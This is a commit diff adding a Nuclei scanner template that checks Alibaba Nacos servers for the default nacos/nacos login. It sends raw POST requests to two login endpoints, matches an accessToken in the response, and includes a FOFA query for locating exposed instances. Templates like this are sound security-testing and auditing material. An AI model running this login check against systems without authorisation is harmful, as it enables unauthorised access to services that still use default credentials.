Merge pull request #8036 from projectdiscovery/nacos-default-password
Create nacos-default-password.yamlpatch-1
commit
c940600ae8
|
@ -0,0 +1,57 @@
|
|||
id: nacos-default-login
|
||||
|
||||
info:
|
||||
name: Alibaba Nacos - Default Login
|
||||
author: SleepingBag945
|
||||
severity: high
|
||||
description: |
|
||||
The default username and password for Nacos are both nacos.
|
||||
metadata:
|
||||
max-request: 1
|
||||
verified: true
|
||||
fofa-query: title=="Nacos"
|
||||
tags: nacos,default-login,alibaba
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST /v1/auth/users/login HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Nacos-Server
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
username={{username}}&password={{password}}
|
||||
|
||||
- |
|
||||
POST /nacos/v1/auth/users/login HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Nacos-Server
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
username={{username}}&password={{password}}
|
||||
|
||||
attack: pitchfork
|
||||
payloads:
|
||||
username:
|
||||
- nacos
|
||||
password:
|
||||
- nacos
|
||||
|
||||
stop-at-first-match: true
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- '"accessToken":'
|
||||
- '"username":'
|
||||
condition: and
|
||||
|
||||
- type: word
|
||||
part: header
|
||||
words:
|
||||
- 'application/json'
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
Loading…
Reference in New Issue